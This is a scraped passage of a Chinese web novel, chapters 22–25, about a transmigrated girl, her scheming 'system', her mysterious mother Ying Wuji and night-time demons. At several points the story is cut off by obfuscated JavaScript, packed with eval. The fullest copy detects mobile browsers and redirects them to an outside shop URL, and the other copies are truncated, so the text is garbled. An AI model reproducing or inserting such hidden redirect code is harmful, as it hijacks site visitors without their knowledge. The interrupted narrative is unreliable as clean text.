怎么会长的那么快?柳沅皱眉,把发带解开后,细细地看了一眼头发,并没发现异样。 这时,她的袖子被轻轻戳了一下,柳沅往力度传来的地方望去,发现是一根熟悉的桃木枝。 不用猜,是应无霁来找她了。柳沅心底好不容易消下去的那股怨气又重新生了起来,装作什么都没感觉到的样子,继续做自己的事情。 手里的枯叶已经被她完全揉烂了,脉络和叶片都碎成了渣渣,从指缝间溜走了。应无霁不厌其烦地用桃木枝戳着她,到最后,柳沅实在不耐烦了,用手挥开桃木枝,转了个身。 生气了?应无霁意外地看了她一眼,思考了一会儿,把手中的碗推到她面前。做完这一切,他又盯了柳沅一会儿,发现她还是一副拒绝沟通的姿态,便转身往厨房的方向走去。 听着身后的脚步声渐渐远去,直到消失不见,柳沅才鬼鬼祟祟地转身,去看应无霁放了什么东西。 是平常他们吃饭时用的碗,碗里还放着一半的烧鸡。 柳沅的脑袋木了片刻,伸出手指,怀疑地戳了戳碗壁。 不是幻觉。 她颇为意外,又凑近了些,发现烧鸡还冒着热气。白茫茫的,在秋日的空气中尤为明显。 系统得意道:“宿主你看,我就说娘亲……” “闭嘴,”柳沅打断了系统聒噪的尖叫声,有点小心地拿起那还温热的碗,仔仔细细抚摸着柔润的外壁,一时间有点茫然。 不是说不给她吃吗?柳沅抬起头去看厨房的方向,应无霁正慢条斯理地吃着鸡腿,看着她盯着自己,淡淡地翻了个白眼。 柳沅噗嗤一声笑了,炫耀似地拿起碗里的鸡腿,朝着应无霁在的方向,挑衅地咬了一口,然后又收获了他的一个白眼。柳沅也不生气,反倒是像得到了什么奖励,越发兴奋起来。 系统想说些什么,又欲言又止,然后柳沅就听到脑海里一直响着电流声,烦人的很。她等了一会儿,发现这道声音还是在持续,忍无可忍道:“系统你是出故障了吗?怎么一直有电流声,好吵。” “我只是有点难以相信,总感觉你和娘亲之间的相处模式怪怪的。”系统道。 闻言,柳沅的表情一僵,一时间恍了神。 “不过,你们确实也不是真正的母女,而且也不太熟,这样想也很正常。”系统又说道。 不知道为什么,听系统这么说,柳沅的第一反应是松了一口气。 她想了想,说道:“不过你放心,我尽量快速推进任务,一边找那个渣爹,一边提升娘亲好感度。” “希望吧。”系统有气无力道。 柳沅觉得好笑,问道:“你对我这么没信心?” “不是,只是我总有种不详的预感,现在剧情线混乱,反派提前出现,我怕我们被找到。”系统严肃道。 柳沅望了一眼荒凉的院子,迟疑道:“但我们目前应该不用担心,据我了解,这么荒凉的地方不会有修仙者的,而且据我多年看小说的经验,反派绝对不会出现在这种小村子里,要么出现在修仙世家,要么出现在全是妖鬼的地方。” 听了这话,系统稍稍放下心来,两人又梳理了一遍原书剧情,将目前的任务重心放在了寻找渣爹和提升娘亲好感度上,最重要的是提升娘亲的好感度,最后是打听反派的消息。 刚和系统聊完,烟囱里的白烟正好散尽,应无霁端着几盘菜出来了,走近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这句话启发了柳沅,让她有些好奇起来。众所周知,这个世界的黑夜在所有人口中讳莫如深,所有人都在强调夜晚不能出去,却不说为什么。柳沅又想起应无霁每天把自己关在房间里,不知道在干什么,还总是能听到一些奇怪的声音。 对哦。她恍然大悟。她这位娘亲的种种奇怪举动,她竟然现在才注意到,才想去探究背后的秘密。 想清楚后,柳沅悄悄趴到窗边,伸出中指,缓缓把窗户推出了一个缝。院中,应无霁凝望着夜空中缓缓升起的巨大月亮,缓缓站了起来。夜风吹开他披在背后的长发和宽松的衣袍,衬得那道身影愈加单薄。 柳沅看见黑色缓缓覆盖住光明,看见一种…… 等等,她的头突然好晕,就好像被人重重打了一棒。眼皮突然无比沉重,就像是天生应该合在一起…… “宿主?宿主你怎么了?” 视线渐渐模糊,系统的话也越来越远,柳沅扒着窗户的手一松,啪的一声,窗户大开。她在意识消失的最后一瞬,看见了一个奇怪的东西。 它长着人的身体,但上身却是一面镜子。 镜子的对面,应无霁浑身缠绕着黑气,血红色的眼睛锁定了她,带着从地狱而来,深不见底的寒意。 柳沅的心重重一跳,彻底失去了意识。 22. 萤火(2) 柳沅是在一种撕扯般的疼痛中醒来的,她刚睁开眼睛,发现四周还是暗的。 只有一点点光从细缝中漏出来。 不对,柳沅猛地往上一起身,头皮传来一阵难以言喻的刺痛。她被自己的力量生生反弹了回去。 问题出在……头发上。 柳沅集中注意力,这才发现附在自己眼前的是头发。 如此,几天前头发突然长长,在家门口遇见不知名的黑色物体……所有的一切都串了起来。 她应该是被某个妖怪缠上了,这妖怪会让她的头发快速长长,直到长到把自己包裹起来,窒息而死。柳沅现在已经开始呼吸困难了,而且这团缠绕在她身上的头发还有继续生长的征兆,如果再不采取行动,她会被活活闷死。 幸好她早有准备,在枕头底下放了一把剪刀。柳沅吃力地伸出手,小心地绕过头发缠绕的死结处,迅速地摸到了剪刀,狠心一剪。 哗啦,头发落了满地,柳沅趁热打铁,咔咔咔把头发剪到了腰间的长度,然后坐在地上,不停地喘着气。虽然目前看来危机已经解除了,但她依旧不敢放松警惕,死死地握着剪刀不松手。 缓了一会儿,发现头发没有要再生长的迹象,她才放松下来。 不对,她突然想起来,李桑字应该也被这东西缠上了!来不及多想,她拿着剪子就往李桑字家的方向跑。经过院子时,正好碰见刚从房间里出来的应无霁。他依旧是一副淡淡的样子,但当他看见柳沅乱七八糟的头发时,面色猛然一变,想上前拉住她,可惜柳沅跑得太快,他没能抓住。 柳沅跑的气喘吁吁,总算跑到了地方。眼前的场景让她十分震撼。 只见平日里还算精致可爱的屋子,被一团团恶心的,蠕动着的黑发丝包围着,一群人围着张大娘,拉着她不让她进去。 “这是寄生鬼啊,别去,靠近了就会被寄生,到时候怎么都甩不掉啦。”有老人满脸惊恐,劝说道。 张大娘甩开那人的手,倔强地抹掉眼泪,就要往房子里冲。 “系统,”柳沅突然出声,“你说反派的白月光死了,那会不会唯一能够改变他的机会就消失了呢?” 系统知道是她自己想救人,直接道:“寄生鬼是一种十分麻烦的鬼怪,会藏在凡人的头发中,神不知鬼不觉地吸食人的精气,到最后活活将人勒死。除非是修仙者,不然没人能救她,你自身都难保,还是别想着救人了。” 系统以为自己在这边给柳沅分析完利弊,按照她平日里的性格,也一定会知难而退。而且这是本书,书里的人物又不是活生生的人。 但柳沅冲进去了,只拿着一把剪刀冲进去了。 “宿主!”系统发出一声尖锐的爆鸣,“你在干什么啊!你要是死了,我们俩就算任务失败了啊!” 柳沅腾出一只手捂住耳朵,冷静地寻找着李桑字的踪迹,说道:“所以只要我有生命危险,你还是会尽量护住我的吧?” 闻言,系统一愣,突然反应过来,恼羞成怒道:“你是故意的,你知道我不会让你死,就故意进来救人,你算计我!” 柳沅轻轻一笑,果断地挥舞着剪刀剪开面前的头发,道:“这不是利用,是对你的信任,系统。” “你明明可以让应无霁帮忙,她不是修士吗?你干吗非要自己上?”系统气的语速飞快,毫无感情的机械音在此时听起来格外搞笑。 “来不及的,我试过的,被那东西缠住撑不了多久。”柳沅一边说一边飞速搜寻着疑似人体的东西。房子里完全被头发覆盖住了,那些黑色的丝状东西不停蠕动着,恶心的很。所有的东西都看不见面貌,只能看见一个大致的形状。 她看见不远处有个类似人体形状的头发包裹物,挥舞着剪子就要冲过去。就在这时,一道身影先她一步,降落在那头发身边。 一根白线从那头发中延伸出,紧接着,那道身影的头顶也延伸出一条黯淡的红线。这两条线出现的实在是太突然了,柳沅怀疑自己看错了,但是…… 线就在那里,任凭她怎么揉眼睛,线都在那里。 那道身影有些熟悉,柳沅躲在柜子后面,发现是叶子桐。叶子桐拿出一把短刀,三下五除二砍断了那些黑色的丝状物,把惊慌失措的李桑字从里面拉了出来。 李桑字不仅没有获救的喜悦,反而在看见叶子桐之后,颤抖的更厉害了。柳沅看见叶子桐笑了,还凑到李桑字耳边说了些什么。这一系列的动作下来,李桑字脸上的血色褪得干干净净。 距离太远,柳沅听不见他们在说什么,只感觉他们头顶上的线越来越明显,同时自己莫名奇妙地开始感觉到头晕。 “系统,我怎么……”她突然站不稳了,踉跄着往前栽去。额角碰上坚硬的地面,撞得她一时间头脑一片空白。 “宿主?宿主?”系统的声音好远,又好近。 “宿主快出去啊,这些东西缠上你了,宿主?宿主我有能帮你的办法,但是你先别睡!” 系统,系统在说什么?柳沅迷迷糊糊地趴在地上,望着缓缓朝她逼近的黑色肉块,想不起来那到底是什么。 反正一定很危险。她挣扎着把身体往远离那东西的方向挪,奈何四面八方全是黑色丝状物,她无路可逃。 这些恶心的黑色物体慢慢围住她,缠绕住她无力的手,还有腿,脚踝……突然,迎面而来一阵风。 柔软,又带着点香火的气息。 她艰难地抬起头,朝着风吹来的方向望去。 模糊的视线中,一道蓝白色的身影缓缓而来。 好熟悉,柳沅拼命想睁开眼睛,可眼皮像被胶水粘住了,不仅不能睁开,还有要闭上的趋势。 会是谁呢?她的思绪混乱又跳跃,竟然想到了应无霁。 不会是他的,她对自己说道。她这位冷淡的娘亲,怎么会来救她呢? 柳沅感觉身体里的最后一丝力量都要消失了,后知后觉感觉到一种死亡的威胁。这种充满腐朽的味道很好辨认,夹杂在身体被头发挤压的钝痛中,一寸又一寸渗透进她的骨髓,灵魂。 她感觉自己要死了。 那道身影慢慢蹲下,首先映入眼帘的是一只带着桃木手串的手,柳沅一个激灵,瞪大了眼睛,看清了来者。 是应无霁。 竟然是应无霁! 意想不到的人出现在意想不到的地方,这给柳沅带来的冲击不小,也拯救了她快消散的意志。 应无 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柳沅下意识去摸自己的头,手伸到一半,突然停住了。她咬紧下唇,想去碰,又总是停住,如此这般,一直犹犹豫豫。 应无霁看见她面色古怪,行为也很古怪,疑惑地伸出手,想着她可能头上有什么东西,帮她拿一下。 结果刚伸出手,还没靠近,就被她一巴掌打了下来。 柳沅的神色很慌乱,也不敢直视他的眼睛,颤抖着声音道:“”我累了,我先回房了。” 然后也不等应无霁写任何字和做出任何反应,慌慌张张就往房间里跑。 只留下应无霁一个人在原地发懵。 秋风吹动庭中的梧桐树,带下一片半黄半绿的树叶,正好落在应无霁的肩膀。他把树叶拿下来,若有所思地看了一眼柳沅离去的背影。 “养的小宠物不领你的情?怎么样,要不要吃掉我?”一面镜子突然出现在他的左边,刻意扭捏甜腻的声音让他皱起了眉头。 应无霁又朝柳沅房间的方向望了一眼,伸出手,轻轻对着那镜子弹了一下。这看似轻轻的一弹,直接把镜面弹碎了。 与此同时,院子顶部看不见的地方,突然发出咔擦的断裂声,应无霁抬头看了一眼,有点阴沉地垂下眼。 【你弄坏我的东西了。】他掐住镜子碎裂后露出来的本体,目光冷硬,又带着点残忍的威胁。 应无霁捏住镜子的动作很轻,但力度很大,疼的它不停扭动着身躯,尖利地喊叫着。 “我会永远缠着你的,无论你杀死我多少次!” 镜子用尽全力发出恶毒的诅咒,无论它的语气多么笃定,说出的话有多恶毒,应无霁的目光始终没有落在它身上。 他只是皱着眉,望着柳沅房间紧闭的窗台,目光里带着点担心。 房间里,柳沅背靠着门蹲下,头埋在膝弯处。 “警告,娘亲好感度严重波动。请宿主注意。” 柳沅没理。 “警告,娘前好感度归零,惩罚准备。” “警告,娘亲好感度恢复,请宿主再接再厉。” “警告……” 在尖锐刺耳的警告声中,柳沅始终埋着头,一言不发。 23. 萤火(3) 不知道系统的警告持续了多久,当夕阳的余晖透过门缝洒进屋内时,柳沅锤着酸痛的膝盖,缓缓站了起来。 “你没事吧?”系统担心地问道。柳沅摇摇头,一瘸一拐地摸到桌边坐下。 “系统,”她深吸一口气,有点呼吸不上来,“如果我暂停和娘亲的相处,维持目前的好感度,会对任务造成影响吗?” 闻言,系统有点不解道:“按理来说不会造成任何影响,但和娘亲打好关系任务会更顺利……” “我知道了,”柳沅打断了它,冷声道:“我还是想先找到男主,尽量快速完成任务,回到属于我的那个世界。” “至于他,”她的表情有些古怪,“先办正事吧。” 说完,柳沅顿了顿,似乎在出神,犹豫着走到窗台处,想打开窗户,最后还是作罢。 系统也不知道她到底是怎么了,想说些什么,但还是没说。 这应该是柳沅穿越过来这么多天里,第一次没有和应无霁一起吃晚饭。天色快完全暗下来的时候,窗户边传来轻轻的敲击声,柳沅犹豫了一瞬,还是打开了窗户。 不是应无霁,是李桑字。 柳沅竟然有些失落,但很快调整好,对她露出一个微笑来。 李桑字脸上带着疲倦,但还是尽量露出善意的笑容,说道:“一整天没见到你,怕你闷在屋子里难受,我来给你送点东西。” 说着,朝她递上一个盒子。里面装的应该是些点心。柳沅道谢后收下,随后有些刻意地问道:“我听别人说你家今天被妖怪袭击了,你没事吧?” 柳沅边说边观察李桑字的表情,发现她有一瞬间的不自然。 不对啊,她满头雾水,难道李桑字根本就不知道她冲进去救人了? “我好像还听说,是叶子桐救你出来的……” “不,不是!”李桑字突然情绪激动,打断了柳沅的话,待看见柳沅脸上的茫然之后,连忙补充道:“不是他,是路过的一个道长。” 霞村位置偏僻,这个世界大多数修仙者都聚居在热闹繁华的城镇,怎么可能那么巧就有个路过的道长?李桑字的话错漏百出。 但看着她的神情,应当是有心遮掩,柳沅也不好继续问下去,只是暗暗留了个心眼。 她把那木盒子从窗台上拿下来,再次对李桑字道谢。 李桑字半是无奈,半是心虚地和她道了别,柳沅目送着她远去,恍惚间好像看见一道蓝色的背影闪过,她揉了揉眼睛,发现是自己的错觉。 关上窗户,打开木盒,里面有两层,一层是饭菜,一层是点心。只是闻着菜品的气味,柳沅就知道是谁做的。 反正不是李桑字。 她把那三盘菜拿出来摆好,站在原地愣了半天,还是拿起了筷子。 “那个,你看娘亲还借着李桑字的手给你送饭了,这说明她把你放心里了呀,你说你要不要再考虑一下继续做这个好感度提升的任务呢?”系统趁机道。 柳沅没理它,自顾自地吃着饭。饭菜有些凉了,但还是很好吃,应无霁的手艺还是一如既往的好。可她此时却没有往常那么心安理得。 “不行,他总是给我做饭,我得还他点什么。”柳沅一边说着,一边开始在房间里翻翻找找。 她上次去镇上买的首饰还剩好多,可以挑些精致的送给应无霁。 首饰找好了,也用手帕包住了,但她却突然不敢出去了。 “怎么,突然怂了?”系统不怀好意地问道。 柳沅看了一眼变暗的天色,又看了一眼手上沉甸甸的首饰,还是没狠下心出去。 “我……我是看天色不早了,所以我才没出去。”她嘴硬道。系统没理她,估计是看不下去她总是这样纠结,干脆不说话了。 柳沅呆坐在梳妆台前,手指无意识地摩挲着手帕光滑的表面,然后是首饰的轮廓,金属的质感。 她就这样坐了许久,最后深深地叹了一口气,起身准备收拾桌子上的碗筷。就在这时,她发现木盒里还有一个夹层,里面放着一个小木盒,上面放着一个小纸条。 纸条上写了长长的一段话,是李桑字的语气:我知晓今日你冲进我家救我,可我必须装作不知道,你千万别把这件事告诉别人,霞村并不像你看见的那么安全。这里放着两颗药丸,可以保你在黑夜中醒着,以备不时之需。 “可以在夜晚醒着的药丸?”柳沅打开木盒,凑到跟前,嗅到了浓郁的药草香味。往常这个时候,她总是会莫名奇妙地生起困意,但今日不知道是不是这药丸的香味起了作用,此时竟然神清气爽,毫无疲倦之意。 柳沅不免高看了这小小的药丸几分。 她又想到了前几天在镇上得到了散骨魂的消息,这送上门来的药丸岂不是可以助她一臂之力? 系统却在此时蹦出来泼冷水道:“这个世界的夜晚十分凶险,请宿主不要送命。” “你说有没有这么一种可能,我们应该去夜晚收集男主的信息呢?”柳沅问道。 系统冷声道:“这个世界的设定就是夜晚所有人都必须入眠才能保护自己,否则将被黑夜中的怪物吃掉,就连修仙者都不能随意在黑夜中行走,宿主你别异想天开了。” 柳沅却不这么认为,质疑道:“那王大牛的生意是怎么做的?散骨魂只能在晚上找到,王大牛甚至是个普通人,干了那么多次也没怎么样。” 系统还想说些什么,柳沅接着道:“收集男主的信息可不能只靠蛮力,钱才是最重要的。有钱了消息那不是滚滚来,更何况这是我们的机会,一旦我抓到散骨魂,我能卖出更高的价格。” “而且听你的描述,这本书的男主是个异于常人的神经病,在夜间出没说不定就符合他的性格。” 系统被她说的哑口无言,最后实在没办法,只是叮嘱她不要主动去看妖怪或者鬼怪的眼睛。 “世界说明里特意标明了这一点,这个世界的妖鬼都带着蛊惑人心的能力,能不看就不看,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894727|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会保证你的安全。”系统最后叮嘱道。 此时柳沅已经吃下了丹药,正在整理衣物,闻言点点头,就准备打开房门。 “等等,”系统出声提醒道:“动作小心点,别被其他人发现。在世人眼中,违背禁令在夜晚外出是大逆不道,罪不可赦的,要是被发现,可麻烦了。” 柳沅谨记系统的提示,轻手轻脚出了房间,连呼吸都放轻了。整个院子静悄悄的,柳沅一边往外走,一边忍不住回头去看应无霁的房间。 暗的,应该是休息了。一想到应无霁,她又想起了白天的事情,脸色一变,匆匆出了家门。 原来天黑后的世界是这样的。天空上挂着一轮巨大的圆月,那刺眼的白光照的天空恍若白昼,但奇怪的是,天空很亮,但地面却被浓郁的黑暗笼罩,那耀眼的光似乎被一层看不见的空气墙挡在了外面,根本照不进来。 柳沅警惕地躲在草丛中,努力辨别着方向。照明在夜晚太危险,一旦她拿起火把,就会成为黑暗中最显眼的标志,到时候就是那些妖魔鬼怪的活靶子。 虽然光用眼睛看有点慢,但好在安全。柳沅就这样慢慢适应了黑暗,勉强能够辨认方向。 此时她按照脑海中系统的提示,缓慢地朝着河流的上游移动。河边空旷,能够快速发现危险,不得已还能跳进水里避险。 可柳沅还是低估了黑夜的危险程度。正当她聚精会神望着前方,辨别方向时,平静无波的水面突然伸出一只手,快准狠地朝她抓来。 柳沅提前感知到了危险的风,侧身一滚,这才避免被抓成肉泥的结局。她惊魂未定地转身,发现袭击自己的是一只青白色的,腐烂了一半的手。 还是从水面下伸出来的。柳沅还欲细看,猛地发现那森白的骨头间,两只萤火虫正散发着柔和的绿光。 那么美好,那么想让人凑近去看,去探究这光点背后的美丽…… 她猛地闭上了眼睛,心脏跳的快从胸膛里飞出来了。 好险,她浑身都在颤抖。 好险! 刚才那两点绿光就是那怪物的眼睛,它故意伪装成萤火虫的模样,就是为了引诱她去看。 还没等她缓过神来,右手边的草丛又是一动,她从地面弹跳起来,哇呜一声,卯足了力气往前跑。可无论她怎么跑,都能感觉到背后有一道森冷的视线黏着。 “系统!”柳沅怒吼,“追我的到底是个什么东西啊?!” “是,是,宿主,你什么运气,竟然碰到了萤神只!”系统万年不变的机械音开始颤抖。 听着语气不对,柳沅的心往下重重一沉,但还是继续维持着奔跑的速度,咻的一下跑到树林里,东穿西穿,总算把那东西甩掉了。 她用手撑着膝盖,不停地喘着粗气,断断续续道:“萤……萤神只是什么?” 系统解释道:“这是一种喜欢制造幻境,玩弄人类的妖怪。而且一旦被盯上,它就会阴魂不散地跟着你,直到你被它吃掉。” 24. 萤火(4) 柳沅傻眼了,虽然知道可能得不到想要的答案,但还是问道:“有能摆脱它的方法吗?” 系统冷酷道:“当然有,除非你能找到实力高于这种妖的修仙者。但据我所知,在现在这个时间段,就算男主和反派都来了,也不见得能打得赢这家伙。” “你的意思不就是我死定了?”柳沅绝望道。 系统继续道:“我又没说只有那一个办法,你别忽略了你在这个世界中最有用的帮手啊。” 柳沅环顾四周,寻了个不容易被发现的树,快速爬了上去,坐在树梢上,无语地翻了个白眼:“你说你?” “对啦,”系统很满意这个答案,称赞道:“不愧是我精挑万选的宿主,果然和我很有默契。” 柳沅眯着眼睛观察四周。树上的视野开阔很多,几乎就一眼,她就锁定了不远处的那座石桥。 按照系统定位,那应该就是霜月桥了。 系统还在滔滔不绝地讲话:“只要你接受升级版的娘亲亲密度任务,我就能保护你不被萤神只锁定。” 柳沅确定了霜月桥的位置,果断从树上跳了下去,朝着桥的方向狂奔,边跑边说道:“你别给我画大饼了,刚才也没见你保护我,要不是我自己机灵,我早就被那妖怪吃了。” 跑到半途,桥上有人影闪动,柳沅赶紧刹车,躲到了一个暗处的草丛中。 “宿主你还是考虑一下,提升娘亲好感度又不是什么要命的任务,在夜晚你没有我的助力,可真的会要了命了。” 柳沅完全把系统的话当成耳旁风,蹑手蹑脚地探出头,去看桥上发生了什么。 只见几个奇形怪状的稻草人正追着一团蓝色的光点,上天入地地到处乱飞。光点的速度很快,稻草人追不上,然后柳沅便看见有稻草人拿出一种奇怪的木头,嚓的一声点燃。那忙着逃命的光点被木头燃烧的烟雾吸引,竟然去而复返,拼命往木头里凑。这时,一个戴着灰色头巾的稻草人拿出一个大袋子,连带着木头和光点都装了进去。 这些动作完成的十分迅速,柳沅眨了眨眼睛,那群稻草人已经不见了。 “这个世界的稻草人也是活的吗?”柳沅不免想起从镇上回来时,自己还故意抠了抠路上遇到的稻草人的眼睛,有点害怕会被报复。 系统解释道:“这稻草人不是一般的稻草人,是入梦人用来在夜晚行走的载体。” “那那蓝色的光点就是散骨魂吗?”柳沅接着问道。 “不是,那些光点是喜欢偷东西的鬼怪,入梦人一般会捕捉这种生物,保证周围百姓的安全。” 说着说着,柳沅又往前挪了挪,突然发现有一个稻草人懒洋洋的,走的很慢很慢,最后被那群上蹿下跳的稻草人甩开了。虽然这个懒惰的稻草人看上去什么都没做,但在悄悄地往森林深处移动。柳沅直觉这个稻草人有秘密,于是悄悄跟了上去。 稻草人慢吞吞地走到一片发着蓝光的树林,然后小心翼翼地拿出一个透明的网状物体,往那发光的树枝上一套。 一个穿着白色衣服的小人便被装进了袋子里。 “是入梦人!是入梦人!大家快逃啊!”那小人手舞足蹈地大喊,奈何它全身都被网锁住了,就算能说出话,也传不出去。 “发财了,发财了。”那稻草人突然发出响亮的笑声,同时手舞足蹈起来,“哈哈,真是天助我也,又能大赚一笔了。” 这声音……柳沅突然记起来,这声音和那巷子里女子的声音一模一样! 那她抓的东西? 柳沅噌的一下从树后窜出来,把稻草人吓得哇的一声往后退。 “原来这就是散骨魂?”她凑到女子手边,戳了戳那被困在网里的小东西。 那稻草人被她吓得都结巴了:“你……你是活人,怎么在夜晚乱跑?” 柳沅抬起头,笑眯眯地望着她,问道:“你是入梦人吧?为什么不跟着大部队执行任务,却偷偷来这里找散骨魂呢?” 刚才看见这人快准狠地抓散骨魂,柳沅就萌发了拉拢这人一起做生意的想法。刚才问了系统,入梦人是禁止抓捕散骨魂的,这种妖怪虽然弱小,但极善于探听消息,若有心人利用这鬼怪的特性,怕是会引起大乱。 但这位为了钱,亲自来抓散骨魂,被上报了可不是一件小事。 于是柳沅道:“我知道你是入梦人,也知道你不能抓散骨魂。” 稻草人浑浊的玻璃眼珠转了转,道:“你想威胁我?” “不,”柳沅朝它露出一个笑容,“是请你一起发大财。” 闻言,稻草人的眼睛似乎都亮了。柳沅感觉皮肤被粗糙的草碾过,一看,这稻草人已然亲昵地贴了上来。 看着柳沅怔愣的表情,稻草人满不在乎道:“哎呀哎呀,我知道你要说什么,不就是我们俩凑一起合作卖散骨魂嘛。其实我眼馋这门生意好久了,一直没能找到志同道合之人,今天真是运气好,碰上了你。这总比给别人打工挣得多。” 柳沅倒没想到它这么爽快,原以为还要再费一番口舌呢。 “你的愿望满足了,真的不考虑一下我的提议吗?”系统突然蹦出来,问道。 柳沅总感觉背后有点冷,拉紧了衣服,摇摇头。 稻草人好奇问道:“我叫贺知舟。你叫什么名字,我明天白天去找你具体商量一下这件事吧。” “我叫柳沅,住在霞村,你不用来找我,我明天正好去镇上。” 柳沅认真地盯着稻草人的眼睛:“我会找到你的。” 稻草人说自己还有其他任务,必须得走了,留给柳沅一个白色的骨笛,说这个东西能召唤她,并暂时保她平安。说完就匆忙往森林深处去。 此时的柳沅又感觉到了那道窥视的视线,很近很近。她把骨笛塞到里衣的口袋里,顺着来时的路线狂奔。 路上,系统忍不住问道:“你就这么轻易地相信那个稻草人了?” 柳沅咻的一下上了树,屏息凝神地望着在树下徘徊着的那个黑糊糊的身影,全身上下都紧绷起来。那东西在她藏身的树旁停留了很久,正当柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那浑身漆黑的怪物低低地笑着,伸出长长的舌头,往柳沅的右脸颊舔了一口。刺鼻的腐臭味伴着刺痛感在一瞬间充斥了柳沅全身。 在那瞬间,她甚至以为自己已经被身后的这个怪物吞进了肚子里,自己已经被困在复仇的胃酸中寸步难行。 “我找你找的好苦啊,你怎么这么能躲呢?”萤神只语气柔和,刻意模仿着女子在耳边呢喃时的腔调,处处透露着难以言说的诡异。 柳沅僵硬着脖子不敢动,脑子里却在疯狂呼唤系统:“系统,系统,快出来啊,快救我!” 过了一会儿,系统才慢悠悠道:“哎,这不是宿主吗?不是已经拒绝了我的提议吗?” 柳沅忽略系统话里的阴阳怪气,开门见山道:“我接受升级任务,快救我。” 这个妖怪知道柳沅害怕,也知道她无法忍受难闻的气味,但就是为了故意折磨她,一直在离她很近的地方张开嘴,散发着一种尸体腐烂过几天又混着排泄物的味道。柳沅好几次都要转头呕出来了,但她谨记着系统说不要和怪物对视,用尽了平生最大的力气忍受着。 “你能不能快点,我快忍不住,要吐出来了。”柳沅索性闭上了眼睛,颤抖着声音,惊慌道。 她此刻的神经严重紧绷,身体也呈现出一种不可思议的直线形状,绷直了,像数学里最严谨的直线。 柳沅虽然闭着眼,什么也看不见。但萤神只好像穿透了视觉,直接进入她的潜意识里,侵蚀着她快崩溃的精神。 25. 萤火(5) “宿主确定要接受升级任务吗?若是反悔,将受到比现在严重十倍的电击惩罚。” 系统又重复了一遍。 生死关头,谁还管那么多,柳沅想也没想就答应了。 系统发出一声意味不明的笑声,随后柳沅感觉身体一轻,再睁眼时,已经回到了自己的房间。 朦胧的月色从半开的窗户透出来,落在柳沅的手边,她惊魂未定,脑袋里回想着萤神只靠近时的压迫感,浑身酸软。 她缓了一会,换下沾满尘土和血迹的衣服,准备上床睡觉。手腕处的桃木手串在动作中碰撞着,发出清脆空灵的声音,柳沅低头去看,自己的大拇指上竟然出现一个红色的小点。 不知道是不是她的错觉,这小点有越长越大的趋势。 “系统!”她大喊一声,“这是个什么玩意?” 那红点远看是静止的,但只要一凑近,就像寄生在皮肤里的小虫,不停地蠕动。 “这是萤神只的标记,意味着你的行踪被它锁定了,它会一直缠着你。”系统道。 这话刚说完,柳沅沉默了一阵,随后咬牙切齿道:“你不是说我答应做升级任务,就救我吗?萤神只锁定了我,我不还是会有生命危险吗?” 系统哈哈笑了一声,声音里带着得意:“可我确实完成了我的承诺,宿主你现在很安全。” “我说的是救下你,又不是保证你永远不会受到致命伤害。” 又被骗了。柳沅握紧了拳头,面色铁青。 系统在和她玩文字游戏,怪就怪在刚才情况太危急,她没有多余的心思来探究系统的真实目的。 柳沅被气的太阳穴突突直跳。 系统又道:“检测到宿主之前有要放弃提升娘亲好感度任务的想法,所以为确保升级任务的完成,系统不会帮助宿主把手上的标记除去。除非宿主将娘亲好感度提升至90。” “90?你的意思是我要带着这个鬼印记那么长时间?”柳沅忍无可忍,“那你不如现在就电死我。” 系统安慰她道:“只要宿主你努把力,很快就到90了。” 去你的,柳沅骂了一声,她累死累活这么久,应无霁的好感度总共才20,要到90,那不知道要等到猴年马月去了。 但是系统说任务失败就会被雷劈,还是那种成仙时才会遭遇的雷劫。柳沅平生最怕痛,这样的惩罚对她而言,和去死没什么区别。 “该说不说,系统,你仅存的一点智商全用来算计我了。”柳沅嘲讽道。 系统又发出那种刺耳的长鸣,险些把她的耳朵震聋。 还能怎么办?只能接受了。 柳沅走到床边,铺好被子打算睡觉,谁料变故突生,院子里传来一声巨响,伴随着熟悉的笑声。 是萤神只?! 柳沅急忙凑到窗户前,悄悄往外看。 一轮巨大的血月正缓缓升起,一个扭曲的身影从满天红光中诞生。它有着一具人的身体,但脖子以上全是镜面,镜面呈菱形排列组合着,像那种六角螺丝刀。脖子以下的身体细长细长的,看起来十分诡异。 而在它的对面,站着一个带着兜帽的人。柳沅缓缓瞪大了眼睛,同时,系统发出任务提升音:“本书男主已出现。” 真是踏破铁鞋无觅处,得来全不费工夫啊。柳沅望着院中那人,心情突然雀跃起来。 这完成任务的机会就在眼前啊。 可是,她突然想到,目前娘亲和渣爹的关系应该是水火不容的状态,按照系统描述的故事线,他们提前决裂了,此时的娘亲还没怀上她呢。 男主一直在找娘亲的位置,现在找到了,那接下来的剧情是什么? “接下来的剧情是男主囚禁女主,两人爱得死去活来。”系统及时补充道。 “那照你这么说,他们恨海情天,那不就自然而然就有了我了?”柳沅疑惑道,“这任务也忒简单了吧?” 系统只是说:“你继续往后看。” 只见院子里的红光越来越盛,萤神只也长得越发巨大,突然,萤神只头顶的棱镜破碎,那带着帏帽的男子猛地吐出一口血来,身影消散在院子里。 远处传来几声不知名昆虫的鸣叫,红光渐渐消散,月亮也恢复了原来的样子,孤零零地挂在天空处,夜晚又恢复了死一般的寂静。 就好像刚才的一切都是一场梦。 柳沅百思不得其解地关上窗户,走到桌边坐下,说:“刚才那个萤神只,和男主不是一伙的?” “宿主你说的没错,这正是奇怪的地方。萤神只在和男主对抗,而且不止一波人在找娘亲。”系统道,“刚才看似男主来到了院中,但其实那只是幻影,他根本就没法找到应无霁的位置,就算知道了也不能进来。” 柳沅心里隐隐有了一个答案,开口问道:“那造成这一切的是谁?” 果然,系统说道:“就是应无霁。” 